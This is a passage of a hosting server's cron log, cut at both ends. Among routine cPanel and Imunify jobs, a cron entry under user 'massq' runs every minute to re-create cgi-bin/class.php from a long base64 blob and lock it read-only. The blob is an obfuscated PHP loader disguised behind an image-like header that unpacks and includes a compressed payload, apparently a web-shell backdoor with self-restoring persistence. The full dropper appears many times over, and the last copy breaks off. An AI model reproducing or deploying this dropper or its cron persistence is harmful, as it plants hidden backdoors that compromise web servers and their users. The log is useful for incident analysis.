QBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:05:01 server CROND[4003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:05:01 server CROND[4004]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:06:01 server CROND[4939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:06:01 server CROND[4940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:06:01 server CROND[4941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:07:01 server CROND[5316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:07:01 server CROND[5315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:07:01 server CROND[5317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:08:01 server CROND[5683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:08:01 server CROND[5684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:08:01 server CROND[5685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:09:01 server CROND[6132]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 14:09:01 server CROND[6134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:09:01 server CROND[6133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:09:01 server CROND[6135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:10:01 server CROND[6517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 14:10:01 server CROND[6520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:10:01 server CROND[6522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:10:01 server CROND[6519]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:10:01 server CROND[6523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:10:01 server CROND[6518]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:10:01 server CROND[6524]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:10:01 server CROND[6521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:11:01 server CROND[7434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:11:01 server CROND[7435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:11:01 server CROND[7436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:12:01 server CROND[7808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:12:01 server CROND[7811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:12:01 server CROND[7810]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:12:01 server CROND[7809]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 14:13:01 server CROND[8186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:13:01 server CROND[8187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:13:01 server CROND[8188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:14:01 server CROND[8560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:14:01 server CROND[8559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:14:01 server CROND[8561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:15:01 server CROND[8942]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 14:15:01 server CROND[8949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 14:15:01 server CROND[8946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:15:01 server CROND[8950]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 14:15:01 server CROND[8952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:15:01 server CROND[8953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:15:01 server CROND[8947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 14:15:01 server CROND[8948]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 14:15:01 server CROND[8956]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 14:16:01 server CROND[9810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:16:01 server CROND[9812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 14:16:01 server CROND[9811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:17:01 server CROND[10334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 14:17:01 server CROND[10335]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 14:17:01 server CROND[10336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG